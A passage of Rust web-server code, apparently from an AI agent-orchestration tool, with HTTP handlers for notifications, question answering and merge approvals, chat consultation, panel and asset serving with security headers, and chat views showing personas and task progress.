8637type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8638
8639fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8643 fn task_for_run(
8644 ui: &Ui,
8645 index: &mut Option<Vec<Arc<TaskRelation>>>,
8646 run: &str,
8647 loaded: &HashMap<String, Task>,
8648 ) -> ApiResult<Option<Task>> {
8649 if !plain_record_id(run) {
8650 return Ok(None);
8651 }
8652 if index.is_none() {
8653 *index = Some(ui.indexed_tasks()?);
8654 }
8655 Ok(index
8656 .as_ref()
8657 .expect("loaded index")
8658 .iter()
8659 .find(|task| task.runs.iter().any(|id| id == run))
8660 .and_then(|task| {
8661 loaded
8662 .get(&task.id)
8663 .cloned()
8664 .or_else(|| ui.queue.get(&task.id).ok())
8665 })
8666 .filter(|task| task.runs.iter().any(|id| id == run)))
8667 }
8668 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8669 plain_record_id(id)
8670 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8671 .flatten()
8672 .filter(|task| task.id == id)
8673 };
8674 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8675 let mut index = None;
8676 let mut tasks = HashMap::new();
8677 let mut talks = HashMap::new();
8678 for question in questions {
8679 for reference in crate::consult::question_task_refs(question, &watches) {
8680 let mut current = match reference {
8681 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8682 crate::consult::QuestionTaskRef::Run(id) => {
8683 task_for_run(ui, &mut index, id, &tasks)?
8684 }
8685 };
8686 let mut seen = HashSet::new();
8687 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8688 let Some(task) = current.take() else {
8689 break;
8690 };
8691 if !seen.insert(task.id.clone()) {
8692 break;
8693 }
8694 let chat = task.chat_talk().map(str::to_owned);
8695 let followup = task.followup.clone();
8696 tasks.insert(task.id.clone(), task);
8697 if let Some(chat) = chat {
8698 if plain_record_id(&chat)
8699 && !talks.contains_key(&chat)
8700 && let Ok(talk) = ui.talks.get(&chat)
8701 {
8702 talks.insert(chat, talk);
8703 }
8704 break;
8705 }
8706 let Some(followup) = followup else {
8707 break;
8708 };
8709 current = match followup.origin_task {
8710 Some(id) => direct_task(&id, &tasks),
8711 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8712 };
8713 }
8714 }
8715 }
8716 let mut tasks: Vec<Task> = tasks.into_values().collect();
8717 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8718 Ok((tasks, talks.into_values().collect(), watches))
8719}
8720
8721async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8724 blocking(move || {
8725 let items = ui.notices.list();
8726 let unread = items.iter().filter(|n| n.unread()).count();
8727 let items: Vec<_> = items
8728 .into_iter()
8729 .map(|n| {
8730 let question = crate::notices::answerable_question(&n, &ui.questions);
8731 let mut item = serde_json::to_value(n)?;
8732 item["answerable_question"] = serde_json::json!(question);
8733 Ok(item)
8734 })
8735 .collect::<anyhow::Result<_>>()?;
8736 Ok(Json(
8737 serde_json::json!({ "unread": unread, "items": items }),
8738 ))
8739 })
8740 .await
8741}
8742
8743fn notice_error(e: anyhow::Error) -> ApiError {
8744 ApiError::not_found(format!("{e:#}"))
8747}
8748
8749async fn notification_read(
8751 State(ui): State<Arc<Ui>>,
8752 Path(id): Path<String>,
8753) -> ApiResult<Json<Notice>> {
8754 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8755}
8756
8757async fn notification_dismiss(
8759 State(ui): State<Arc<Ui>>,
8760 Path(id): Path<String>,
8761) -> ApiResult<Json<Notice>> {
8762 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8763}
8764
8765async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8767 blocking(move || {
8768 let changed = ui.notices.mark_all_read()?;
8769 Ok(Json(serde_json::json!({ "marked": changed })))
8770 })
8771 .await
8772}
8773
8774#[derive(Debug, Default, Deserialize)]
8780#[serde(default, deny_unknown_fields)]
8781struct NewAnswer {
8782 choice: Option<String>,
8783 text: Option<String>,
8784 talk: Option<String>,
8785 head: Option<String>,
8786}
8787
8788async fn question_answer(
8789 State(ui): State<Arc<Ui>>,
8790 Path(id): Path<String>,
8791 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8792) -> ApiResult<Json<QuestionView>> {
8793 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8794 let answer = match (body.choice, body.text) {
8795 (Some(c), None) => Answer::Choice(c),
8796 (None, Some(t)) => Answer::Text(t),
8797 (Some(_), Some(_)) => {
8798 return Err(ApiError::bad_request(
8799 "send either `choice` or `text`, not both",
8800 ));
8801 }
8802 (None, None) => {
8803 return Err(ApiError::bad_request("send a `choice` or a `text`"));
8804 }
8805 };
8806
8807 blocking(move || {
8808 let id = resolve_question(&ui.questions, &id)?;
8809 let q = ui
8810 .questions
8811 .get(&id)
8812 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8813 if !q.can_answer() {
8814 return Err(ApiError::conflict(format!(
8818 "question {} is already {}",
8819 q.short(),
8820 q.status.as_str()
8821 )));
8822 }
8823 let cfg = deputy_config(&ui.repo);
8827 let (q, ()) = ui
8828 .questions
8829 .update(&q.id, |r| {
8830 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8831 if r.routed_task.is_some()
8834 && r.merge_target.is_some()
8835 && merge
8836 && (body.talk.is_some() || body.head.is_some())
8837 {
8838 let talk_id = body
8839 .talk
8840 .as_deref()
8841 .context("approval button requires its chat")?;
8842 let head = body
8843 .head
8844 .as_deref()
8845 .context("approval button requires the displayed head")?;
8846 let talk = ui.talks.get(talk_id)?;
8847 anyhow::ensure!(talk.status.open(), "approval chat is closed");
8848 r.answer_chat_button(answer, talk_id, head)
8849 } else {
8850 r.answer(answer)
8851 }
8852 })
8853 .map_err(ApiError::bad_request_from)?;
8854 let (tasks, talks, watches) =
8855 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8856 Ok(Json(
8857 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8858 ))
8859 })
8860 .await
8861}
8862
8863fn question_text_error(e: anyhow::Error) -> ApiError {
8865 let reason = e
8866 .downcast_ref::<crate::question_delivery::TextUnavailable>()
8867 .map(|e| e.reason);
8868 let error = ApiError::bad_request_from(e);
8869 if let Some(reason) = reason {
8870 ApiError {
8871 text_reason: Some(reason),
8872 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8873 }
8874 } else {
8875 error
8876 }
8877}
8878
8879#[derive(Debug, Deserialize)]
8881#[serde(deny_unknown_fields)]
8882struct NewSay {
8883 body: String,
8884}
8885
8886async fn question_say(
8896 State(ui): State<Arc<Ui>>,
8897 Path(id): Path<String>,
8898 body: std::result::Result<Json<NewSay>, JsonRejection>,
8899) -> ApiResult<Json<QuestionView>> {
8900 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8901 blocking(move || {
8902 let id = resolve_question(&ui.questions, &id)?;
8903 let q = ui
8904 .questions
8905 .get(&id)
8906 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8907 if !q.status.open() {
8908 return Err(ApiError::conflict(format!(
8912 "question {} is already {}",
8913 q.short(),
8914 q.status.as_str()
8915 )));
8916 }
8917 let cfg = deputy_config(&ui.repo);
8920 let (q, ()) = ui
8921 .questions
8922 .update(&q.id, |r| {
8923 if body.body.trim().is_empty() {
8924 return r.say(body.body);
8925 }
8926 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8927 r.say(body.body)
8928 })
8929 .map_err(question_text_error)?;
8930 let (tasks, talks, watches) =
8931 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8932 Ok(Json(
8933 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8934 ))
8935 })
8936 .await
8937}
8938
8939async fn admitted<T: Send + 'static>(
8942 admission: AdmissionGuard,
8943 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8944) -> ApiResult<T> {
8945 tokio::spawn(async move {
8946 let result = work.await;
8947 drop(admission);
8948 result
8949 })
8950 .await
8951 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8952}
8953
8954async fn question_consult(
8963 State(ui): State<Arc<Ui>>,
8964 Path(id): Path<String>,
8965) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8966 let admission = ui.begin_admission()?;
8967 admitted(admission, async move {
8968 let (q, tasks, talks, watches, talk, cfg) = blocking({
8969 let ui = Arc::clone(&ui);
8970 move || {
8971 let id = resolve_question(&ui.questions, &id)?;
8972 let q = ui.questions.get(&id).map_err(|e| {
8973 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8974 })?;
8975 if !q.status.open() {
8976 return Err(ApiError::conflict(format!(
8977 "question {} is already {}",
8978 q.short(),
8979 q.status.as_str()
8980 )));
8981 }
8982 let (tasks, talks, watches) =
8983 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8984 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8985 return Err(ApiError::conflict(format!(
8986 "question {} has no chat to ask",
8987 q.short()
8988 )));
8989 };
8990 let cfg = if q.consult.is_none() {
8994 Some(talk.config()?)
8995 } else {
8996 None
8997 };
8998 Ok((q, tasks, talks, watches, talk, cfg))
8999 }
9000 })
9001 .await?;
9002 let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
9003 .await
9004 .map_err(ApiError::from)?;
9005 let (view, reclaimed, submitted) = blocking({
9006 let ui = Arc::clone(&ui);
9007 move || {
9008 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
9009 let claim = if fresh {
9010 match ui.begin_queued_talk_turn(&talk.id)? {
9011 Some(turn_guard) => {
9012 let talk = ui.talks.get(&talk.id)?;
9013 let cfg = match cfg {
9014 Some(cfg) => cfg,
9015 None => talk.config()?,
9016 };
9017 Some((talk, cfg, turn_guard))
9018 }
9019 None => None,
9020 }
9021 } else {
9022 None
9023 };
9024 let q = ui.questions.get(&q.id)?;
9025 let cfg = deputy_config(&ui.repo);
9026 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
9027 .with_origin(&tasks, &talks, &watches);
9028 Ok((view, claim, fresh.then_some(talk.id)))
9029 }
9030 })
9031 .await?;
9032 #[cfg(not(test))]
9033 {
9034 if let Some(id) = submitted {
9035 crate::chat_worker::spawn_turn(&ui.talks, &id)
9036 .await
9037 .map_err(ApiError::from)?;
9038 }
9039 drop(reclaimed);
9040 }
9041 #[cfg(test)]
9042 let _ = submitted;
9043 #[cfg(test)]
9044 if let Some((talk, cfg, turn_guard)) = reclaimed {
9045 let talks = ui.talks.clone();
9046 let id = talk.id.clone();
9047 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9048 }
9049 Ok((StatusCode::ACCEPTED, Json(view)))
9050 })
9051 .await
9052}
9053
9054fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
9056 if plain_record_id(id) && store.path_of(id).is_file() {
9057 return Ok(id.to_owned());
9058 }
9059 pick(
9060 store.list().into_iter().map(|q| q.id).collect(),
9061 id,
9062 "question",
9063 )
9064}
9065
9066async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
9081 blocking(move || {
9082 let id = resolve_question(&ui.questions, &id)?;
9083 let Some(html) = ui.questions.panel_html(&id) else {
9084 return Err(ApiError::not_found(format!("question {id} has no panel")));
9085 };
9086 Ok(panel_response(
9087 "text/html; charset=utf-8",
9088 false,
9089 html.into_bytes(),
9090 ))
9091 })
9092 .await
9093}
9094
9095async fn question_asset(
9123 State(ui): State<Arc<Ui>>,
9124 Path((id, name)): Path<(String, String)>,
9125) -> ApiResult<Response> {
9126 if !crate::ask::valid_asset_name(&name) {
9129 return Err(ApiError::bad_request(format!(
9130 "`{name}` is not a usable asset name"
9131 )));
9132 }
9133 blocking(move || {
9134 let id = resolve_question(&ui.questions, &id)?;
9135 let asset = ui
9136 .questions
9137 .panel_asset(&id, &name)
9138 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
9139 let Some(bytes) = asset else {
9140 return Err(ApiError::not_found(format!(
9141 "question {id} has no asset `{name}`"
9142 )));
9143 };
9144 Ok(panel_response(
9145 asset_content_type(&name),
9146 is_svg(&name),
9147 bytes,
9148 ))
9149 })
9150 .await
9151}
9152
9153fn asset_content_type(name: &str) -> &'static str {
9166 match extension(name).as_deref() {
9167 Some("png") => "image/png",
9168 Some("jpg" | "jpeg") => "image/jpeg",
9169 Some("gif") => "image/gif",
9170 Some("webp") => "image/webp",
9171 Some("svg") => "image/svg+xml",
9172 Some("css") => "text/css; charset=utf-8",
9173 Some("txt") => "text/plain; charset=utf-8",
9174 _ => "application/octet-stream",
9175 }
9176}
9177
9178fn is_svg(name: &str) -> bool {
9181 extension(name).as_deref() == Some("svg")
9182}
9183
9184fn extension(name: &str) -> Option<String> {
9186 name.rsplit_once('.')
9187 .map(|(_, ext)| ext.to_ascii_lowercase())
9188}
9189
9190fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
9207 let mut res = (
9208 [
9209 (header::CONTENT_TYPE, content_type),
9210 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
9211 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9212 (header::REFERRER_POLICY, "no-referrer"),
9213 ],
9214 body,
9215 )
9216 .into_response();
9217 if download {
9218 res.headers_mut().insert(
9219 header::CONTENT_DISPOSITION,
9220 HeaderValue::from_static("attachment"),
9221 );
9222 }
9223 res
9224}
9225
9226#[derive(Debug, Serialize)]
9232struct ChatApproval {
9233 question: String,
9234 target: crate::merge_decision::Target,
9235}
9236
9237#[derive(Debug, Serialize)]
9238struct TalkView {
9239 #[serde(flatten)]
9240 talk: Talk,
9241 turn_bodies_md: Vec<Vec<md::Node>>,
9242 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
9244 pending_messages_md: Vec<Option<Vec<md::Node>>>,
9245 merge_approvals: Vec<ChatApproval>,
9246 thinking: bool,
9254 context: talk::ContextUsage,
9258 operator_name: Option<String>,
9261 persona_name: Option<String>,
9263 persona_avatar: String,
9266 operator_avatar: String,
9268 magi_avatar: String,
9269}
9270
9271impl TalkView {
9272 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
9275 let cfg = talk.config().ok();
9276 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
9277 }
9278
9279 fn with_config(
9282 talk: Talk,
9283 thinking: bool,
9284 cfg: Option<&Config>,
9285 home: &FsPath,
9286 cache: &id_links::IndexCache,
9287 ) -> Self {
9288 let references = cache.for_talk(home, &talk);
9289 Self::with_references(talk, thinking, cfg, home, &references)
9290 }
9291
9292 fn with_references(
9293 mut talk: Talk,
9294 thinking: bool,
9295 cfg: Option<&Config>,
9296 home: &FsPath,
9297 references: &id_links::IdIndex,
9298 ) -> Self {
9299 let snapshot = talk.clone();
9301 for (index, turn) in talk.turns.iter_mut().enumerate() {
9302 let original = &snapshot.turns[index];
9303 if turn.messages.is_empty() {
9304 if let Some(display) = talk::notice_display(&snapshot, original, None) {
9305 turn.messages.push(talk::Message {
9306 sender: Some(talk::Sender::Magi),
9307 accepted_at: None,
9308 body: original.body.clone(),
9309 display: Some(display),
9310 recovery_event: None,
9311 attachments: original.attachments.clone(),
9312 reply: None,
9313 });
9314 }
9315 } else {
9316 for (i, message) in turn.messages.iter_mut().enumerate() {
9317 message.display =
9318 talk::notice_display(&snapshot, original, original.messages.get(i));
9319 if message.display.is_some() {
9320 message.sender = Some(talk::Sender::Magi);
9321 }
9322 }
9323 }
9324 }
9325 for message in &mut talk.pending_messages {
9326 if message.display.is_none()
9327 && (message.sender == Some(talk::Sender::Magi)
9328 || snapshot
9329 .completion_notices
9330 .iter()
9331 .any(|r| r.notice == message.body))
9332 {
9333 message.display = crate::prompt::legacy_notice_display(&message.body);
9334 if message.display.is_some() {
9335 message.sender = Some(talk::Sender::Magi);
9336 }
9337 }
9338 }
9339 if talk.pending_messages.is_empty()
9340 && snapshot
9341 .completion_notices
9342 .iter()
9343 .any(|r| r.notice == talk.pending)
9344 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9345 {
9346 talk.pending_messages.push(talk::Message {
9347 sender: Some(talk::Sender::Magi),
9348 accepted_at: None,
9349 display: Some(display),
9350 recovery_event: None,
9351 body: talk.pending.clone(),
9352 attachments: talk.pending_attachments.clone(),
9353 reply: None,
9354 });
9355 }
9356 let excerpts: Vec<Vec<Option<String>>> = talk
9357 .turns
9358 .iter()
9359 .map(|turn| {
9360 turn.messages
9361 .iter()
9362 .map(|m| {
9363 m.display
9364 .as_ref()
9365 .map(|d| d.facts.chars().take(240).collect())
9366 })
9367 .collect()
9368 })
9369 .collect();
9370 for turn in &mut talk.turns {
9371 let provenance = talk::sender(turn, None);
9372 turn.sender = Some(provenance);
9373 for message in &mut turn.messages {
9374 message.sender = Some(message.sender.unwrap_or(provenance));
9375 }
9376 }
9377 let senders: Vec<Vec<talk::Sender>> = talk
9379 .turns
9380 .iter()
9381 .map(|turn| {
9382 if turn.messages.is_empty() {
9383 vec![talk::sender(turn, None)]
9384 } else {
9385 turn.messages
9386 .iter()
9387 .map(|m| talk::sender(turn, Some(m)))
9388 .collect()
9389 }
9390 })
9391 .collect();
9392 for reply in talk
9393 .turns
9394 .iter_mut()
9395 .flat_map(|t| t.messages.iter_mut())
9396 .chain(talk.pending_messages.iter_mut())
9397 .filter_map(|m| m.reply.as_mut())
9398 {
9399 if let Some(Some(excerpt)) = excerpts
9400 .get(reply.target.turn)
9401 .and_then(|ms| ms.get(reply.target.message))
9402 {
9403 reply.excerpt = excerpt.clone();
9404 reply.sender = Some(talk::Sender::Magi);
9405 }
9406 if reply.sender.is_none() {
9407 reply.sender = senders
9408 .get(reply.target.turn)
9409 .and_then(|messages| messages.get(reply.target.message))
9410 .copied();
9411 }
9412 }
9413 let context = talk::context_usage(&talk, cfg);
9414 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9415 .turns
9416 .iter()
9417 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9418 .collect();
9419 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9420 .turns
9421 .iter()
9422 .map(|turn| {
9423 if turn.messages.is_empty() {
9424 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9425 } else {
9426 turn.messages
9427 .iter()
9428 .map(|message| {
9429 notice_markdown(
9430 message.sender.unwrap_or(talk::Sender::Operator),
9431 &message.body,
9432 message.display.as_ref(),
9433 )
9434 })
9435 .collect()
9436 }
9437 })
9438 .collect();
9439 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9440 .pending_messages
9441 .iter()
9442 .map(|message| {
9443 notice_markdown(
9444 message.sender.unwrap_or(talk::Sender::Operator),
9445 &message.body,
9446 message.display.as_ref(),
9447 )
9448 })
9449 .collect();
9450 for nodes in &mut turn_bodies_md {
9451 references.markdown(nodes);
9452 }
9453 for nodes in turn_messages_md
9454 .iter_mut()
9455 .flatten()
9456 .chain(pending_messages_md.iter_mut())
9457 .flatten()
9458 {
9459 references.markdown(nodes);
9460 }
9461 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9462 let persona_name = persona::find(specs, &talk.persona)
9463 .filter(|p| !p.is_default())
9464 .map(|p| p.name);
9465 let mut avatar_persona = persona::find(specs, &talk.persona)
9466 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9467 if avatar_persona.id != talk.persona
9469 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9470 {
9471 avatar_persona.id.clone_from(&talk.persona);
9472 avatar_persona.icon = None;
9473 }
9474 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9475 let approvals_store = ask::Questions::at(home.join("questions"));
9476 let merge_approvals = talk
9477 .notified
9478 .iter()
9479 .filter_map(|key| key.strip_prefix("question:"))
9480 .filter_map(|id| approvals_store.get(id).ok())
9481 .filter(|q| !crate::task_chat::source_retired(home, &q.id))
9482 .filter(|q| crate::task_chat::approval_offered(&talk, q))
9483 .filter_map(|q| {
9484 Some(ChatApproval {
9485 question: q.id,
9486 target: q.merge_target?,
9487 })
9488 })
9489 .collect();
9490 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9491 Self {
9492 turn_bodies_md,
9493 turn_messages_md,
9494 pending_messages_md,
9495 merge_approvals,
9496 thinking,
9497 context,
9498 operator_name,
9499 persona_name,
9500 persona_avatar,
9501 magi_avatar: magi_icon_url(home),
9502 operator_avatar: operator_icon_url(home),
9503 talk,
9504 }
9505 }
9506}
9507
9508fn notice_markdown(
9510 sender: talk::Sender,
9511 body: &str,
9512 display: Option<&crate::prompt::NoticeDisplay>,
9513) -> Option<Vec<md::Node>> {
9514 if sender != talk::Sender::Magi {
9515 return None;
9516 }
9517 let text = if let Some(display) = display {
9518 display.facts.as_str()
9519 } else {
9520 if crate::prompt::is_completion_notice(body)
9523 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9524 {
9525 return None;
9526 }
9527 body.strip_prefix("magi: ").unwrap_or(body)
9528 };
9529 Some(md::to_nodes(text, &md::ImageBase::None))
9530}
9531
9532#[derive(Debug, Serialize)]
9537struct TalkDetailView {
9538 #[serde(flatten)]
9539 view: TalkView,
9540 tasks: Vec<TaskView>,
9541 task_progress: TalkTaskProgress,
9542 goal_link: Option<TalkGoalLink>,
9543 goal_link_for: Timestamp,
9544 roster: Vec<RosterEntry>,
9547 personas: Vec<PersonaEntry>,
9550}
9551
9552#[derive(Debug, Serialize)]
9554struct TalkTaskProgress {
9555 state: &'static str,
9556 total: usize,
9557 done: usize,
9558 counts: std::collections::BTreeMap<&'static str, usize>,
9559 unfinished_ids: Vec<String>,
9560}
9561
9562fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9563 let mut counts = std::collections::BTreeMap::from([
9564 ("queued", 0),
9565 ("running", 0),
9566 ("done", 0),
9567 ("failed", 0),
9568 ("held", 0),
9569 ("blocked", 0),
9570 ("parked", 0),
9571 ]);
9572 let mut unfinished_ids = Vec::new();
9573 for task in tasks {
9574 *counts.entry(task.status.as_str()).or_default() += 1;
9575 if task.status != TaskStatus::Done {
9576 unfinished_ids.push(task.id.clone());
9577 }
9578 }
9579 TalkTaskProgress {
9580 state: if tasks.is_empty() {
9581 "none"
9582 } else if unfinished_ids.is_empty() {
9583 "complete"
9584 } else {
9585 "incomplete"
9586 },
9587 total: tasks.len(),
9588 done: tasks.len() - unfinished_ids.len(),
9589 counts,
9590 unfinished_ids,
9591 }
9592}
9593
9594#[derive(Debug, Serialize)]
9597struct TalkGoalLink {
9598 goal: String,
9599 kind: &'static str,
9600 id: String,
9601}
9602
9603fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9604 let goal = crate::chat_goal::Goal::selected(talk)?;
9605 let repo = goal.effective_repo(&talk.repo);
9606 let valid_run = |id: &str| {
9607 plain_record_id(id)
9608 && read_run(runs, id).is_ok_and(|state| {
9609 state.id == id
9610 && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9611 })
9612 };
9613 for id in goal.tasks.iter().rev() {
9614 let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9615 continue;
9616 };
9617 if let Some(run) = task.execution_runs().last()
9620 && valid_run(run)
9621 {
9622 return Some(TalkGoalLink {
9623 goal: goal.id.clone(),
9624 kind: "run",
9625 id: run.clone(),
9626 });
9627 }
9628 return Some(TalkGoalLink {
9629 goal: goal.id.clone(),
9630 kind: "task",
9631 id: task.id,
9632 });
9633 }
9634 for id in goal.runs.iter().rev() {
9635 if valid_run(id) {
9636 return Some(TalkGoalLink {
9637 goal: goal.id.clone(),
9638 kind: "run",
9639 id: id.clone(),
9640 });
9641 }
9642 }
9643 None
9644}
9645
9646#[derive(Debug, Serialize)]
9648struct PersonaEntry {
9649 id: String,
9650 name: String,
9651 avatar: String,
9653}
9654
9655#[derive(Debug, Serialize)]
9657struct RosterEntry {
9658 id: String,
9659 kind: AgentKind,
9660 runnable: bool,
9662}
9663
9664async fn talks_list(
9666 State(ui): State<Arc<Ui>>,
9667 Query(q): Query<ListQuery>,
9668 headers: header::HeaderMap,
9669) -> ApiResult<Json<Vec<TalkListView>>> {
9670 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9671 let limit = q.limit.unwrap_or(50).min(50);
9672 let ids = if let Some(ids) = q.ids {
9673 ids.split(',')
9674 .filter(|id| plain_record_id(id))
9675 .take(limit)
9676 .map(str::to_owned)
9677 .collect()
9678 } else {
9679 page_ids(&ui, true, PageQuery::default())?
9680 .0
9681 .into_iter()
9682 .take(limit.min(STORE_PAGE_SIZE))
9683 .collect()
9684 };
9685 Ok(Json(talk_rows(&ui, ids, &headers)))
9686 })
9687 .await
9688}
9689
9690#[derive(Debug, Default, Deserialize)]
9695#[serde(default)]
9696struct NewTalk {
9697 agent: Option<String>,
9698 repo: Option<PathBuf>,
9699 preferred_agent: Option<serde_json::Value>,
9703 persona: Option<serde_json::Value>,
9704 implementers: Option<serde_json::Value>,
9705}
9706
9707async fn talk_post(
9710 State(ui): State<Arc<Ui>>,
9711 body: std::result::Result<Json<NewTalk>, JsonRejection>,
9712) -> ApiResult<impl IntoResponse> {
9713 let body = match body {
9717 Ok(Json(body)) => body,
9718 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9719 Err(e) => return Err(ApiError::bad_request(e.body_text())),
9720 };
9721 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9722 let cfg = config_for(&repo).await?;
9723 let view = blocking(move || {
9724 let preferred = talk::Preferred {
9725 agent: body
9726 .preferred_agent
9727 .as_ref()
9728 .and_then(|v| v.as_str())
9729 .map(str::to_owned),
9730 persona: body
9731 .persona
9732 .as_ref()
9733 .and_then(|v| v.as_str())
9734 .map(str::to_owned),
9735 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9736 };
9737 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9738 let thinking = ui.is_thinking(&talk.id);
9739 Ok(TalkView::new(talk, thinking, &ui))
9740 })
9741 .await?;
9742 Ok((StatusCode::CREATED, Json(view)))
9743}
9744
9745async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9747 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9749 let id = resolve_talk(&ui.talks, &id)?;
9750 let talk = ui.talks.get(&id)?;
9751 let thinking = ui.is_thinking_observed(&id);
9752 Ok(Json(TalkView::with_references(
9755 talk,
9756 thinking,
9757 None,
9758 &ui.home,
9759 &id_links::IdIndex::default(),
9760 )))
9761 })
9762 .await
9763}
9764
9765async fn talk_sections(
9766 State(ui): State<Arc<Ui>>,
9767 Path(id): Path<String>,
9768) -> ApiResult<Json<serde_json::Value>> {
9769 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9770 let id = resolve_talk(&ui.talks, &id)?;
9771 let talk = ui.talks.get(&id)?;
9772 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9773 let task_progress = talk_task_progress(&tasks);
9774 let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9775 let tasks: Vec<_> = tasks
9776 .into_iter()
9777 .map(|task| {
9778 serde_json::json!({
9779 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9780 })
9781 })
9782 .collect();
9783 let cfg = talk.config().ok();
9784 let roster: Vec<_> = cfg
9785 .as_ref()
9786 .map(|cfg| {
9787 cfg.agents
9788 .iter()
9789 .map(|a| RosterEntry {
9790 id: a.id.clone(),
9791 kind: a.kind,
9792 runnable: agent::installed(a),
9793 })
9794 .collect()
9795 })
9796 .unwrap_or_default();
9797 let specs = cfg
9798 .as_ref()
9799 .map(|cfg| cfg.talk.personas.clone())
9800 .unwrap_or_default();
9801 let personas: Vec<_> = persona::catalog(&specs)
9802 .into_iter()
9803 .map(|p| PersonaEntry {
9804 avatar: avatar_url(&ui.home, &talk.id, &p),
9805 id: p.id,
9806 name: p.name,
9807 })
9808 .collect();
9809 let active_persona = persona::find(&specs, &talk.persona)
9810 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9811 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9812 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9813 Ok(Json(serde_json::json!({
9814 "tasks": tasks, "task_progress": task_progress,
9815 "goal_link": goal_link, "goal_link_for": talk.updated_at,
9816 "roster": roster, "personas": personas,
9817 "context": talk::context_usage(&talk, cfg.as_ref()),
9818 "context_for": talk.updated_at,
9819 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9820 "persona_name": persona_name,
9821 "persona_avatar": persona_avatar,
9822 })))
9823 })
9824 .await
9825}
9826
9827async fn talk_detail(
9829 State(ui): State<Arc<Ui>>,
9830 Path(id): Path<String>,
9831) -> ApiResult<Json<TalkDetailView>> {
9832 blocking(move || {
9833 let id = resolve_talk(&ui.talks, &id)?;
9834 let talk = ui.talks.get(&id)?;
9835 let thinking = ui.is_thinking_observed(&talk.id);
